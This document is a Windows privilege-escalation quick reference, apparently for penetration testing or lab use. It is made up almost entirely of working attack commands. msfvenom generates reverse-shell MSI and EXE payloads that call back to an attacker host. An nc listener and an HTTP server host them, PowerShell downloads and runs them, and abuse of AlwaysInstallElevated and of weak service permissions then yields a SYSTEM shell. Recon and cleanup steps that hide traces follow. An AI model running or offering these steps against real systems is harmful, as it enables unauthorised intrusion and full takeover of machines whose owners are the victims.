Windows Privilege Escalation Exploitation Quick Reference

AlwaysInstallElevated Exploitation

Generate MSI Payload

bash

```
# Create malicious MSI file
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.2.174 \
LPORT=4444 -f msi -o evil.msi
```

Setup Listener & HTTP Server

bash

```
# Start listener
nc -lvnp 4444

# Host payload (Kali)
python3 -m http.server 8080
```

Download & Execute on Windows

powershell

```
# Download MSI
Invoke-WebRequest -Uri http://192.168.2.174:8080/evil.msi \
-OutFile evil.msi

# Execute with SYSTEM privileges
msiexec /quiet /i evil.msi
```

Weak Service Permissions

Generate EXE Payload

bash

```
# Create reverse shell executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.2.174 \
LPORT=4444 -f exe -o payload.exe
```

Download & Create Service

powershell

```
# Download payload to temp
Invoke-WebRequest -Uri http://192.168.2.174:8080/payload.exe \
-OutFile "$env:TEMP\payload.exe"

# Create malicious service
sc.exe create HackService binPath= "$env:TEMP\payload.exe"

# Start service for SYSTEM shell
sc.exe start HackService
```

Basic SYSTEM Recon

cmd

```
# Confirm SYSTEM access
whoami

# Get system info
hostname

# List users
net user

# Check admin group
net localgroup administrators
```

Cleanup (Optional)

powershell

```
# Remove service
sc.exe delete HackService

# Remove payload
Remove-Item "$env:TEMP\payload.exe"
```